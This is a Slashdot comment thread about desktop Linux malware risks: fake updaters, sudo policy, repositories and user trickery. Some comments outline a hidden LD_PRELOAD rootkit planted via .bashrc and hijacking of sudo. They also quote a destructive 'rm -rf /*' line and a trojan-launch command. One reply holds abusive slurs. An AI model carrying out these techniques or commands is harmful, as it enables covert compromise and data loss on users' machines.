    Looks scary, right? Wrong. Because the solution is as simple as changing the default policy. Make it so that the default behavior is to notify only. On every system update the user should be told: "Go start the updater via the system menu. By the way, if you EVER see an "updater" you didn't start yourself, you are being pwned." Make sure that the system menu is strictly read-only, and even the dimmest user will be safe.

    This won't be implemented in Windows. Why? I really cannot guess why Microsoft's security policy seems to be designed from ground up to fuck the user, but it is. The usual excuse seems to be: "it's easy to use". But whatever is the reason, you just cannot make a proprietary platform secure because you cannot pop the hood open. With a free OS, you can.

    1. Re:Malware and Worms in GNU/Linux and *BSD by Anonymous Coward · · Score: 0

      You're missing a critical piece: how do you trick the user into running your fake update manager in the first place? Once you assume away the problem of getting the user to download an arbitrary piece of software and run it (which, admittedly, is not hard to do, for your average noob)... you assume away the whole problem.

      In other words - nothing new here. Tricking the user into running arbitrary software is always going to be a vector.

    2. Re:Malware and Worms in GNU/Linux and *BSD by some_guy_88 · · Score: 1

      Your human-assisted privlege escalation code will never make it into a default repo which is the only way people (expect those who know what they are doing) should be installing software. Because of that, it will never get executed by anyone.

      The software repo is one of the most important security features that protects users from themeselves. It's easy to tell a new linux user "only install software via the repo" than it is to educate a windows user on how to identify dangerous software out there on the web.

      If your code actually exploits a flaw in a running service or some such thing then obviously thats a different story.

    3. Re:Malware and Worms in GNU/Linux and *BSD by Blakey+Rat · · Score: 1

      Looks scary, right? Wrong. Because the solution is as simple as changing the default policy. Make it so that the default behavior is to notify only. On every system update the user should be told: "Go start the updater via the system menu. By the way, if you EVER see an "updater" you didn't start yourself, you are being pwned." Make sure that the system menu is strictly read-only, and even the dimmest user will be safe.

      This won't be implemented in Windows. Why? I really cannot guess why Microsoft's security policy seems to be designed from ground up to fuck the user, but it is. The usual excuse seems to be: "it's easy to use". But whatever is the reason, you just cannot make a proprietary platform secure because you cannot pop the hood open. With a free OS, you can.

      You're forgetting the "human psychology" part of the issue. If you just tell people to update, they won't do it.

      You're also assuming Microsoft is run by morons. Obviously Microsoft's thought of this, but they've decided it's better for more people to have updated OSes then your alternative.

      You're right, though, it's really impossible to prevent an app from simulating the auto-updater-- even the UAC prompt can be faked to look and sound real, if you're willing to spend some time at it. (It would be hard though, and I doubt it would look 100% right.)

      Your proposal is nice, and you can already set Windows to do that if you want. (In fact, server editions of Windows ship that way by default.) But for the average user, that's a MUCH worse idea than automatically updating the OS.

      But, you know, thanks for "inventing" it.

    4. Re:Malware and Worms in GNU/Linux and *BSD by Anonymous Coward · · Score: 0

      I'm curious which parts of the Windows or Mac OS X security policy you can't control. Unless your suggesting that Microsoft or Apple have some sort of hidden backdoors in their operating systems, which seems pretty ludicrous in this day and age.

      And your thing about the updater... You can indeed configure both Windows and Mac OS X to only notify you when there are updates.

    5. Re:Malware and Worms in GNU/Linux and *BSD by josath · · Score: 1

      even the UAC prompt can be faked to look and sound real, if you're willing to spend some time at it. (It would be hard though, and I doubt it would look 100% right.)

      Why would you fake a UAC prompt? Users don't type their passwords into the UAC prompts. All you'd succeed in doing is getting the user to click OK on a fake prompt. That would buy you nothing, versus clicking OK on a real UAC prompt, which would actually get you admin access.

      --
      sig? uhh, umm, ok
    6. Re:Malware and Worms in GNU/Linux and *BSD by melikamp · · Score: 1

      What you are saying is true in a way. Given the current level of expertise of an average Ubuntu user, this scenario sounds far-fetched, but we are reaching out to the masses now. We must be ready for a user who does not understand what an OS or a WM is at all. For that guy, a system is a sum of applications and a computer is a sum of peripherals. And in distributions like Ubuntu, whose goal is to be a system for everyone, the default code execution policy must guard this user reasonably well.

      That code does not have to be installed, it can simply be downloaded. Currently, one can wrap it in a shell script. Then a (clueless) user can download it and start it from his desktop in just a few clicks.

      Try it.

      The file above is a tarball. A user may be instructed to (1) Click it in Firefox and open with file-roller, which is the default behavior of Ubuntu and Firefox combo (2) drag the file inside onto the desktop (3) double-click the file, get prompted and choose "Run". (4) Ta-daaaa.

      Here tar preserves x attribute, but other ways are available to achieve the same. The process may perform a task it is claimed to perform (e.g., install GoogleEarth, which is btw distributed precisely in a way described, sans the tar part), while a fork is waiting in the background just to come up with the payload hours later, thereby looking completely authentic.

      Not as easy as Windows, but only a few drags and clicks, none of that scary CLI mojo. I can totally see a clueless user being enticed, while lured in by some too-good-to-be-true offer on a website or in an email.

    7. Re:Malware and Worms in GNU/Linux and *BSD by Anonymous Coward · · Score: 0

      First off, I agree with your argument.

      That being said, the prompt for gksu is "The application '[whatever]' lets you modify essential parts of your system." If the user is paying attention and knows what the command line is, he or she would catch your example attack. A better method would be whatever process TrueCrypt uses to gain root privileges. It takes your root password in a simple dialog box, uses it, then (if I remember the documentation correctly) gives up its root status. However that works (dialog frontend for a simple 'sudo'?) would be a good way to go.

    8. Re:Malware and Worms in GNU/Linux and *BSD by melikamp · · Score: 1

      Man, in Windows you do not have to fake anything. The user will happily click on the OK prompt right after downloading a game release from TPB. Millions of computers in Windows botnets are a direct result of that policy (google for "pay per install"). Windows is easy to use like that.

    9. Re:Malware and Worms in GNU/Linux and *BSD by melikamp · · Score: 1

      The vector is in simulating a familiar program which is known to ask for a privilege escalation. Simulating a dialog is pointless, as others pointed out above.

      The fix is to forbid core programs to ask for privilege escalation regularly, as a matter of system policy. Updates, for example, should either be fully automatic or fully manual: the current default policy (which, I believe, pops up and prompts regularly) is the least safe one for a lay user. Ideally, that user should not be needing root at all. This lofty goal may be unreachable, but bugging a user with update prompts twice a week ain't making her any safer.

    10. Re:Malware and Worms in GNU/Linux and *BSD by BerkeleyDude · · Score: 1

      Looks scary, right? Wrong. Because the solution is as simple as changing the default policy. Make it so that the default behavior is to notify only. On every system update the user should be told: "Go start the updater via the system menu. By the way, if you EVER see an "updater" you didn't start yourself, you are being pwned." Make sure that the system menu is strictly read-only, and even the dimmest user will be safe.

      This will make it more difficult to trick the user, but not impossible. As long as the system menu is running with the user's privileges, it can be modified to launch a different program. And even if you find a way to prevent the user from messing with it - e.g., run it as a different user - the user won't be able to make any legitimate changes, either.

      It's even easier for command-line tools: add a line to .bashrc that creates aliases or modifies $PATH so "sudo" and "su" point to malicious programs. How many users would actually check their $PATH or aliases before running sudo?

      Finally, here's a way to create an almost undetectable malware. Add the line "LD_PRELOAD=~/.malware.so" to .bashrc where ~/.malware.so does the following:
      - Removes the LD_PRELOAD variable from the environment, so it's undetectable.
      - Modifies "exec..." functions so they add LD_PRELOAD back (and also replace "su", "sudo", etc. with a different program).
      - Modifies "open" and "read" functions so the line in .bashrc is invisible to the user.
      - Modifies "opendir" and "readdir" to make ~/.malware.so invisible to the user.
      - etc.
      (This would work for any application - not just command-line ones.)

    11. Re:Malware and Worms in GNU/Linux and *BSD by melikamp · · Score: 1

      Unless your suggesting that Microsoft or Apple have some sort of hidden backdoors in their operating systems, which seems pretty ludicrous in this day and age.

      What is so ludicrous about suggesting it as a possibility? Why discard a vendor's very real ability to insert a backdoor at any time in the future? They will do it as soon as they conclude that it maximizes their revenue, or as soon as there is enough pressure from affiliated groups. And you will have to either live with it or to leave the platform. That is if you ever find out about it. And no, there won't be a class-action, because it will be done in the name of security and the courts will side with clueless users, who constitute the overwhelming majority and who simply won't care. I mean, it is done today to nearly every cell phone out there, and no one even blinks an eye, except for RMS. This is where proprietary computing wants to be, and where it ever leans, simply because the temptation is too great.

    12. Re:Malware and Worms in GNU/Linux and *BSD by melikamp · · Score: 1

      I totally agree. I address the issue here.

    13. Re:Malware and Worms in GNU/Linux and *BSD by dbIII · · Score: 1

      Man, in Windows you do not have to fake anything. The user will happily click on the OK prompt

      When the user is presented with information along the lines of:
      Do you want to furgle the 000CF32A954 mopplet?
      OK . . . . Cancel

      What do you expect them to do? Poor interfaces have trained these folk to click OK when the all knowing programmer tells them to. Click to install malware is not a user problem, it is opportunists taking advantage of a confusing environment created by large quantities of poorly designed software.
      We are building such a confusing environment on such things as gnome due to no f*ing manual pages and poor documentation in general so we can no longer use the *nix defence of looking up whatever error we get and finding out what is going wrong. We're building an environment as confusing as the proprietry ones. That is the sort of thing that will make linux prone to malware.

    14. Re:Malware and Worms in GNU/Linux and *BSD by buchanmilne · · Score: 1

      Because the solution is as simple as changing the default policy. Make it so that the default behavior is to notify only.

      No, the solution is to not give blanket sudo access to the first user, but instead allow specific trusted applications, possibly running in a restricted mode (e.g. rurpmi on Mandriva), or to run elevated commands via a daemon running as root with specific authorization (the PolicyKit model).

      This is why one reason I don't recommend Ubuntu.

      (and this specific problem is not a "Linux" problem, it's almost exclusively an Ubuntu problem)

    15. Re:Malware and Worms in GNU/Linux and *BSD by Anonymous Coward · · Score: 0

      Good idea, but of course it is possible for a user (and therefore any user-level malware) to edit the users menu - changing or deleting existing entries, or adding new entries. Redirecting an admin program launcher (System->Administration->Update Manager is a good one that gets used frequently) to your own malware might be easier. Or just adding Accessories->Porn Finder would probably do just as well. The better solution to this issue, which I know some people practice, is to ensure that normal users don't have any ability to escalate their own privileges - can't su or sudo. Have a completely separate login for doing admin work - root perhaps?. Some Linux distros do this.

      It's a balance of course. Plenty of new users to Ubuntu bitch about ever having to give passwords at all - "It's MY computer so why is it challenging me?". And they're the sort of idiots who would just log in as root and do everything there all day if they could - no need for the malware they run to have to use tricks to gain system rights at all.

      It has been pointed out elsewhere that any malware you run can read your documents, steal your ID, impersonate you etc. without needing system access anyway. So the real story is that if you run a program that you're not sure what it does - well, you can't be sure what it will do. It might not do what they promised it would do. Hold the front page!

    16. Re:Malware and Worms in GNU/Linux and *BSD by magamiako1 · · Score: 1

      Actually, what you just described is as easy as Windows, and it's precisely what they do on Windows. Have you seen Antivirus 2009/2010? That shit is insane....

    17. Re:Malware and Worms in GNU/Linux and *BSD by magamiako1 · · Score: 1

      dbll:

      It has gotten a lot better on the proprietary platform, but unfortunately so far the reception to UAC has been lackluster at best. Everyone, short of the people who know why it's there, hates it. This is a really bad idea of things to come. I suppose the solution would to be install apps in the user's home directories, but you infinitely increase space requirements on each system for each user. We're not talking small scripts and IRC applets and vi versus nano here. We're talking huge applications such as Office (either OO or MSO), Photoshop, any of the other Adobe utilities, proprietary-internal only applications, etc.

      I'm not saying we don't necessarily have the space to do it, but when there is a rather sizeable IT community that strives on lowering disk space usage of the OS to the point that they're going to delete unnecessary icons and drivers in the OS, I can assure you that something like this would cause them to freak out. In turn, they would turn around and turn off such a feature on any machine they worked on.

    18. Re:Malware and Worms in GNU/Linux and *BSD by Blakey+Rat · · Score: 1

      The vector is in simulating a familiar program which is known to ask for a privilege escalation. Simulating a dialog is pointless, as others pointed out above.

      There's not a lot of those, though... I guess Firefox has UAC prompts more than most programs, and since its update schedule is completely opaque and already extremely annoying, it might be a good target. But you'd still have to simulate a UAC prompt on Vista and Windows 7-- you can't simply ask for the password, you'd only get the most retarded users.

      This lofty goal may be unreachable, but bugging a user with update prompts twice a week ain't making her any safer.

      Yah, because the user will NEVER INSTALL THE UPDATE. Which is the point I was trying to make to the grandparent.

      Just telling the user that updates are available, no matter how often you do it, is not a solution. And if you have any "solution" that doesn't take into account the psychology of computer users, it's not a solution either.

      Microsoft understands that securing a computer is 75% in the user's hands, and 25% in the OSes hands. There's no point in coming here and suggesting Linux do things that Windows tried and dismissed 10 years ago, while you lot were all pissing on Windows for being so insecure.

    19. Re:Malware and Worms in GNU/Linux and *BSD by Anonymous Coward · · Score: 0

      It does not work on my system what is on default settings by Mandriva.

      On Mandriva they do not use sudo. But they have configured the system so that you can not add or remove any new packages or installed. That is behind the root password. The default user what you add after system install, is permitted only to update installed packages with their own passwords. The repository is avaialble to be edited only by root.

      On Mandriva, the user learns very fast that when they use root password, they need to be very sure what they do. And usually it is only from MCC = Mandriva Contol Center. The normal typical usage only need user password when maintaining current system = updateing installed packages.

      They learn that root password is not asked anywhere else than accessing to MCC. Updates get notified but you can not install any thirdparty script or package trough that. And when even thinking about AppArmor, you can not even execute the third party script what is not profiled first by the root.

      Mandrivas system is much more secure against stupid user than Ubuntu. Still it is not actually any harder. Teach correct password separation for different functions while Ubuntu even teach to the user that one password for all things is good and secure way.

      With Mandriva, I can easily left normal user front of the computer. They do not install any software without asking because they are very unsure about their knowledge when they get asked root password. But the system updating goes easily and I do not need to take care of that. Typical Mandriva user calls mayby two times a year to me. While Ubuntu users do not call ever and they manage to get their systems bretty fuck up because they trust the system takes care and they are safe.

      Needles to say, if Canonical would not use sudo on Ubuntu but more secure root | user separation, everything would be more secure. It would be even enough to only allow sudoer to use it for updateing existing packages.

  49. How cool is that?! [Re:Release it.] by Anonymous Coward · · Score: 2, Funny

    Post it to the internet with a headline of "Nude Pictures of Brittany Spears!! (Linux only)." Oh, and give it a payload that allows you to pwn the computers it gets downloaded. And then you'll have a Linux botnet!! How cool is that!!

    And, next time somebody posts on /. "imagine a beowulf cluster of those" -- well, you'll actually have a beowulf cluster of those.

    Oh, and I almost forgot:
    3. ???
    4. profit!!

    1. Re:How cool is that?! [Re:Release it.] by quenda · · Score: 1

      Post it to the internet with a headline of "Nude Pictures of Brittany Spears!! (Linux only)."

      Brittany who? Surely you mean Sarah Michelle Gellar or Natalie Portman?

    2. Re:How cool is that?! [Re:Release it.] by AmberBlackCat · · Score: 3, Interesting

      Better yet, claim it's an mp3/mp4 encoder for linux with editing capabilities (or any other software sorely missing on Linux) and post it online. I'd bet half of the people who mock windows users for downloading and installing untrusted software would download this, type in their root password, and let it install.

    3. Re:How cool is that?! [Re:Release it.] by oatworm · · Score: 1

      Better yet, claim it's an mp3/mp4 encoder for linux with editing capabilities (or any other software sorely missing on Linux) and post it online. I'd bet half of the people who mock windows users for downloading and installing untrusted software would download this, type in their root password, and let it install.

      I run Ubuntu, you insensitive clod!

    4. Re:How cool is that?! [Re:Release it.] by Anonymous Coward · · Score: 0

      You can create a root password in Ubuntu.

    5. Re:How cool is that?! [Re:Release it.] by Anonymous Coward · · Score: 0

      20% linux users would give their own password because they use sudo what is configured to give the user full root rights, simply configured unsecure way. They who knows different between sudo and root security, does not give the root password even for that. Sudo (mainly ubuntu) users does not care about security, they want system what is just easy to use.

    6. Re:How cool is that?! [Re:Release it.] by Anonymous Coward · · Score: 0

      audacity for mp3, avidemux2 for mp4.

    7. Re:How cool is that?! [Re:Release it.] by sharkbiter · · Score: 0

      Yes all 2 of the current Linux users might download it and you'll have a mighty botnet!

    8. Re:How cool is that?! [Re:Release it.] by L4t3r4lu5 · · Score: 1

      Brittany who? Surely you mean Sarah Michelle Gellar or Natalie Portman?

      Petrified, with hot grits?

      --
      Finally had enough. Come see us over at https://soylentnews.org/
    9. Re:How cool is that?! [Re:Release it.] by mcgrew · · Score: 1

      But where's the "in soviet russia" joke? Where's the car analogy? More importantly, where's Natalie Portman and her pony?

  50. mod parent up by ChipMonk · · Score: 1

    Too bad I've already commented on this thread, or I'd mod that up.

    But I'll also say that my mother runs Fedora 11, and the SELinux configuration is a lot better than in previous Fedora releases. The SELinux reports are all related to config files in her home directory, and those are carried over from previous Fedora installs. From what I can see, someone got a clue and cleaned up the general Fedora SELinux configuration in a big way.

    1. Re:mod parent up by Anonymous Coward · · Score: 1

      What's your mother's phone number? Maybe she could help me with a configuration.

    2. Re:mod parent up by muckracer · · Score: 1

      > What's your mother's phone number?

      867-5309

    3. Re:mod parent up by Anonymous Coward · · Score: 0

      0118 999 881 999 119 725 3

  51. Re:Release it. by sopssa · · Score: 1

    Who modded this funny? It's insightful, if anything.

  52. Why not send it to Linus? by hallux.sinister · · Score: 2, Interesting
    SERIOUSLY!!! Putting it in the wild will HURT the Linux community, in many, many ways. Sending it to people who are close to the design of the OS, who may be able to do something about it will HELP the community. As for your ethics question, let me answer it with a question: When you leave your house for work, school, the grocer, etc., do you wear full body armor, and carry a gun? How would you feel if someone got tired of his country-men, (including you,) feeling so complacent and secure that you will walk blithely down the street without full body armor, a gas-mask, guns and ammo, that he decides to "show you all the error of your ways" by randomly sniping/gassing/tossing-grenades-at you, your family, and your friends? Wouldn't like it much, would you?

    What you are contemplating doing is roughly, the digital-electronic equivalent of supplying criminals with maps of wealthy communities, marked with what areas are and are not guarded, where valuables are kept, etc. Don't think that simply because you didn't write a truly malicious payload, that by letting others use a tool you can and should reasonably know will be used for evil purposes you don't share in the culpability, ethically if not legally, even if you don't pull the trigger yourself. ~Hal

    1. Re:Why not send it to Linus? by Anonymous Coward · · Score: 0

      jesus fuck. it's people like you who make your little community look like a bunch of faggot cock smokers. keep the melodrama to a minimum and maybe you'll get a little respect.

      fucking retarded loser asshole.

    2. Re:Why not send it to Linus? by Suicyco · · Score: 1

      What does Linus have to do with anything other than the kernel itself? He isn't part of PHP, Apache, openssh, mozilla, Gnome, gcc (etc) or attached to any distro. Unless its a kernel exploit he would be powerless to fix it and wouldn't care. There are a million ways to write such software, any competent linux dev could do so. The thing is, it doesn't matter, because it can be nullified by simple policy changes - and the fact that no two distro's are alike, "linux" can be a whole slew of differing combinations of software.

      Putting something like this in the "wild" is nothing worse than metasploit, nmap, satan or any number of other tool sets. GCC and bash are just as dangerous a "toolkit".

      His supposed killer malware is bullshit anyway, he's provided no details. What webserver? What distro? What does SELinux have to do with it? Is he requiring the user to know the root password, and type it in?

      How about a bash script with "rm -rf /*" ran as root? Is that malware?

      Do you know how many exploitable apps are in / have been in linux over the years? Unix in general? A shit ton! This is nothing new, revolutionary or extraordinary.

    3. Re:Why not send it to Linus? by hallux.sinister · · Score: 1

      I was using "Linus" in a generic sense meaning "whomsoever is the appropriate authorities" in the Linux community for that particular issue. (I don't know who it is, and don't especially care... I am a Linux user who DOES NOT BELIEVE I should have to be an expert on how to use a computer, to be able to use a computer and reap the benefit of being able to enjoy not using garbage from Misro$oft, nor Straightjacketware from CrApple. I should no more be obliged to be an expert than a person should know how to field-strip an engine, and assemble an automatic transmission, to drive a car. Therefore, any time I hear of some asshole saying, "I know how to cripple Linux systems and I'm sick of all the smug bastards out there saying their systems are secure...", I get the same gut response I get whenever I hear some schmuck say "I know how to steal a car in 30 seconds..." That gut reaction is to break every one of his little goddamned fingers, and then ask if he can still steal a car in less than 30 seconds. I don't feel I should have to live in a fortress to enjoy the sense I don't live in a goddamned jungle, thank you very much, physically, nor electronically. Understand? Don't take me so literally. I know Linus Torvalds doesn't run every little aspect of the community that sprung up around his little creation, if he did, his name would be Steve, not Linus. ~Hal

  53. Insecurity through stupidity by flyingfsck · · Score: 2, Insightful

    Insecurity through stupidity is a common problem on Linux. The Ubuntu forums are full of users wailing that their machines got hacked after they installed FTP, SSH or VNC with a kewl four letter password. One could argue that it is not the users, but rather the Ubuntu developers that are stupid by not configuring PAM to enforce password complexity by default, since it is not really a flaw in 'Linux' per se, but it could certainly be considered to be a dumb-ass flaw in the Ubuntu distribution.

    --
    Excuse me, but please get off my Pennisetum Clandestinum, eh!
    1. Re:Insecurity through stupidity by Anonymous Coward · · Score: 0

      No, you got it wrong! It's "security through obscurity". What does it mean? First you paint your computer in black, or a dark enough color. This way when the black hats see your computer from the internet, they see something black too and think you are one of theirs. Therefore they don't attack and you are safe.

      You're welcome.

    2. Re:Insecurity through stupidity by drinkypoo · · Score: 1

      Ubuntu Karmic requires a six character password. It does not however enforce any standards as to what characters you use, so username foo password foofoo is legal.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    3. Re:Insecurity through stupidity by magamiako1 · · Score: 1

      there is a point where password complexity requirements become annoying to end users. So while it may be cool or doable for your average nerd to use a password like @$#l33tS4uc3#! ; the average end user is more likely to use things like their first and last name, the names of a kid, their pets, their street name and house number, or something along those lines. Such as "1313mockingbird" or along those lines.

    4. Re:Insecurity through stupidity by BJ_Covert_Action · · Score: 1

      You know, I made the switch to Ubuntu about a year ago. I bought a 'Linux Starter Kit' magazine with an 8.04 install CD in it. The magazine is about 100 pages long I think. In the first section, regarding installing Ubuntu, the importance of complex passwords is stressed. The author also discusses a few simple methods for developing easy-to-remember complex passwords. I took that advice very seriously and have been telling all my friends about the need for using special characters and what not. I think, little by little, it's paying off and folk I know are starting to come around. So, while the Ubuntu developers may have screwed up with regards to passwords, there is certainly a portion of the community that takes an active role in propagating security advice. ... Also of note, every time I post to the Ubuntu forums, one or more responses to my questions include caveats, warnings, or just general security wisdom....It seems like it would be hard to be an Ubuntu newbie and not read about potential security issues.

      Just my two cents. Cheers.

  54. Re:Release it. by Anonymous Coward · · Score: 0

    Who modded this funny?

    I did. Yes sir, it was me, I'm guilty.

  55. Sounds good to me by Anonymous Coward · · Score: 0

    "After a week of work, I finished a package of malware for Unix/Linux."
    Really, this might be a fun thread. Just out of curiosity, did you use vi or emacs to code it? And if you actually plan to release the code, there is also the question of the license.

  56. Go ahead and do release it by Anonymous Coward · · Score: 0

    as long as it's licensed under a proper Free Software license. Who gives a fuck.

    With so many new Ubuntu users, Linux is already windoze in the security sense.

  57. Release it by Anonymous Coward · · Score: 0

    How else are we going to accept that which we obstinately refuse to see?
    -- newall

  58. loose execution of unverified downloads... by Anonymous Coward · · Score: 1, Funny

    The exploit relies on "loose execution of unverified downloads"...

    Is this the joke about the virus that spreads itself by telling the user "send this email to all your friends then format your hard drive" ?

    Once you have code executed on a machine that doesn't have good security, you manage to get local root exploit and then do some "really nasty thing" to persist a reboot?

    Please?

    Really nasty as in escaping offline IDS?

    Publish your kiddie exploit, I'm laughing out loud...

    : )

  59. Heck, just do it. by gzipped_tar · · Score: 1

    We Linux geeks won't censor you or sue you or something. We're not MS.

    It's not a hazard. It's a benefit. We understand.

    --
    Colorless green Cthulhu waits dreaming furiously.
  60. Lamesauce by Anonymous Coward · · Score: 3, Insightful

    Sounds like you have too much time on your hands. Linux and Unix boxes get rooted and kitted all the time, from various security holes in PHP, SQLi, etc. Writing some "greyhat malware" package doesn't really demonstrate anything. It's a well known fact that *nix is still vulnerable to attack, and I really see no relevance to what you're doing. Besides, anyone who runs a locked down system and has any degree of paranoia wouldn't run SETI@Home, Distributed.net or any other similar distributed client software. OSSEC would pick this jazz up in half a second. Congratulations on some questionable bash scripting.

  61. Silly by Demonantis · · Score: 1

    Security through obscurity does not work. If you can write a program there is at least one much less ethical person out there willing to do it as well. The fact we don't see it suggests that people are not motivated or see a benefit in doing it. I suspect much won't happen if you release it. I realize it might also be the case that it is going unreported. Either way it will get developers motivated to fix the issues. See Microsoft for example. So that when Linux becomes a major OS and people will want to freak the systems they will have a much harder time.

    1. Re:Silly by SMOKEING · · Score: 1

      I second every statement in this post.

      Call me when OP's piece of software gets approved in any major distribution.

      Before I moved from Debian to Gentoo, the only few apps I actually had installed other than by apt-det install, was the flash plugin, Skype, Quake3 and nvidia drivers. In Gentoo, by virtue of it being what they call `meta-distribution' all executable code comes from portage, which means it has passed maintainers' QA. And, what really matters here is, I trust them.

  62. Tricking people into doing stupid things. by bmo · · Score: 2, Informative

    >mindless execution of unverified downloads

    There is no cure for stupid on any platform.

    People will install purple gorillas and cd-drive-cupholders. This is not new.

    But beyond user stupidity, there are reasons why propagation of badware on Linux and Unix sucks, and I suggest that people read Tom's excellent rant here: http://slashdot.org/comments.pl?sid=3291&cid=1395315

    This situation may not last (c.f., sudo silliness on fedora), but unless you can do a miracle of social engineering, treachery, and underhandedness and get your badware included in the main repositories as source (which repo maintainers and end users use to build packages), you're not going to get very far in the *nix world.

    --
    BMO

    1. Re:Tricking people into doing stupid things. by arndawg · · Score: 1

      There is no cure for stupid on any platform.

      Perhaps not. Unless you go for the appliance route. However I think we can get a lot better. I like how Android handles app installations. You get a simple prompt before installation that it requires access to the internet, reading of sms, sending mms etc. If we could get a similar framework in modern desktop operating systems, it would be a lot easier to identify that the app is doing what is advertised. For instance if you download a texteditor and it states in its manifest (correct term?) that it needs access to System files and incoming internet connections I would be a lot more jiffy about installing it. The idea is that the manifest actually requests permissions in a mandatory access control system like grsecurity or SELinux. Ofcourse this will not eliminate all stupid behaviour from the user, but I think the idea is good anyway.

    2. Re:Tricking people into doing stupid things. by Anonymous Coward · · Score: 0

      If the weak ssh keys bug in debian too almost two years for anyone to notice who knows what wonderful goodies are already hidden in random distributions' versions of packages? It's not like anyone of us reads all the source of every packages every time we dist-upgrade.

    3. Re:Tricking people into doing stupid things. by Anonymous Coward · · Score: 0

      Why would people install cd-drive-cupholders? Linux already has an 'eject' command :p

  63. Re:If you have to ask, your ethical compass is b0r by sznupi · · Score: 1

    I don't know...we do a lot of stuff as a collective already, more of it the more "advanced" we are.

    --
    One that hath name thou can not otter
  64. Then use it for good by halcyon1234 · · Score: 1

    If you can truly spread this as easy as possible, then do so. But put a payload into it that closes all the holes it slips through. Proof of concept achieved, morals remain intact.

  65. More Windoes trolls. by Alex+Belits · · Score: 3, Insightful

    I have a strong suspicion that this whole "question" is merely an attempt by Windows marketdroids to spread one of their favorite FUD formulas: "Linux is not really secure, it's just too unpopular to be targeted by malware writers". Please note how often it is mentioned in otherwise content-free comments.

    There is no actual "malware". All author claims is that he wrote something that demonstrates the fact that a program executed on a Linux box by a user has that user's access privileges and can do stuff that the user does not expect or like. That's at best a trojan horse -- without capability to gain superuser privileges or compromise other users or hosts, such "malware" is firmly in the range of stupid pranks -- slightly below changing someone's wallpaper to goatse and slightly above asking someone to check out the Last Measure web site. It has nothing to do with millions-strong botnets and hours-to-worldwide-pandemic worms that make Windows such a great platform for crooks and vandals.

    --
    Contrary to the popular belief, there indeed is no God.
    1. Re:More Windoes trolls. by shish · · Score: 1

      without capability to gain superuser privileges or compromise other users or hosts, such "malware" is firmly in the range of stupid pranks ... It has nothing to do with millions-strong botnets

      User-level privileges are more than sufficient to be part of a botnet

      --
      I mod down anyone who says "I will be modded down for this", regardless of the rest of their comment
    2. Re:More Windoes trolls. by Alex+Belits · · Score: 1

      You can't create a viable botnet without self-propagation mechanism. "Download this file run 'Terminal', then type 'chmod +x Desktop/notavirus.bin ; Desktop/notavirus.bin &'" is not a self-propagation mechanism.

      --
      Contrary to the popular belief, there indeed is no God.
    3. Re:More Windoes trolls. by shish · · Score: 1

      Alternatively, package the virus in a tarball with permissions set correctly; most users are quite accustomed to the idea of unzipping things before opening them. Or for even less interaction, do the thing that many windows viruses do and exploit browser (or other userspace app) bugs.

      --
      I mod down anyone who says "I will be modded down for this", regardless of the rest of their comment
    4. Re:More Windoes trolls. by Alex+Belits · · Score: 1

      most users are quite accustomed to the idea of unzipping things before opening them.

      Except modern Linux desktops don't require extracting the files manually just for viewing -- GUI archive managers extract a file into a temporary directory, and run a viewer on it, or mount the archive as a directory (with all files non-executable). Users who use those archive managers will click on the archive file, see executable along with other files, and will be able to open all other files, however archive managers won't allow them to run the executable. To run a file it would be necessary to explicitly choose to extract the file, see the executable, select that executable and run it -- that has to be something pretty deliberate and different from anything else that a person would want to do with an archive.

      Linux users who use command-line tools would indeed extract the file first, however if they are familiar with the command line, it's safe to assume that they are not going to blindly run scripts or switch to GUI file manager and click on some untrusted executable file.

      --
      Contrary to the popular belief, there indeed is no God.
  66. You are correct. by carp3_noct3m · · Score: 1

    What it all boils down to is marketshare. I deal with malware from all ends of the spectrum, and the entire purpose of modern malware is usually one thing. To make money. Whether that be by using that machine in a botnet, stealing banking or other logon info, or by trying to get someone to pay for fake security software, malware has turned into (within the last decade) a major business. Due to lack of enforcement, these things mainly stem from countries with little oversight (African countries, Russia, tiny islands etc) And are hard to take down. The reason Linux has not been mass targeted is that it normally represents the higher end of the user spectrum, whereas windows is the low hanging fruit. Take international pickpockets or muggers. The offenders will find the most vulnerable target who is unaware of their surroundings and unable to defend themselves. Windows is a 60 year old lady in a foreign market with her passport and wallet around her neck wearing bright pink taking pictures and not paying attention. Linux is more like an aware person who has made themselves a hard target just by knowing what not to do. Mac's seem to be the exception for the moment, and this is where I actually happen to see a huge potential for this to change though. More and more instead of the family tech having to support a family windows box, it is simply easier to just tell a novice to get a mac. Once this reaches a certain apex, that is when malware will target it. Just about any system can be compromised, but back to my original point is it worth it (money?)

    --
    "It's ok, I'm completely secure as long as my iron is off"
    1. Re:You are correct. by Hucko · · Score: 1

      If that is the case, I have one question.

      Why isn't there a similar ratio of malware to expected installs?

      All unix systems have a much lower ratio than Windows, some approach zero. Sure, some of that can be explained that with there really is hardly anyone using it, but when it comes to OSX, the linuxes, bsd and Solaris, the installs are definitely in multiple of millions* each. (Ha ha ha, thanks to all who dredge up the tired, exhausted memes of minimal users)

      Yet despite there being a strong possibility of the similar vulnerabilities to Windows, we don't see the same ratio occurring?

      * A sizable market share for an effective product, for any beginner
       

      --
      Semi-automatic amateur armchair Australian philosopher; conjecture ready at any moment...
  67. Arrogance... Nothing New. by coolmoose25 · · Score: 2, Funny

    I work with AS400 and iSeries machines (and I accept your collective condolences). When I first got trained on them, the teachers told us that OS400 has never been hacked. Not having any real data to confront them, I just let it pass. When we covered the section about user ids and passwords, I found out that 400's force you to disable a user id and password after a certain, finite number of logon attempts. This was by design. All user ids, including system administrator ids had to have some number (I forget how high you can set it) of illegal attempts before the id is locked out. (Usually this is set to 3) They explained, smugly, that this was to keep out intruders.

    We further learned that user id's could not be set to more than 10 characters. So I raised my hand and asked what happened if all the user accounts got disabled. They said that IBM would have to back door their way in to unlock a system administrator account, and from that account, others could be reset. (This would be BAD and time consuming, so it was good practice to keep a few SYSADMIN accounts around just in case) I asked if they had ever heard of a denial of service attack. Of course they said. So I asked the obvious question, "What if someone wrote a script to log on to every 10 digit user account 3 times with a blank password?" The reply was "Why would anyone do THAT?"

    I pointed out that while I couldn't "hack" their system by their definitions, I could sure as heck turn it into a boat anchor, and do it remotely if it was hooked to the Internet... "Yes, but you can't HACK it was the reply..."

    --
    Brawndo: It's what plants crave!
    1. Re:Arrogance... Nothing New. by Datamonstar · · Score: 1

      I don't get it. What about all the accounts with LESS than 10 characters?

      --
      The eternal struggle of good vs. evil begins within one's self.
    2. Re:Arrogance... Nothing New. by IntlHarvester · · Score: 1

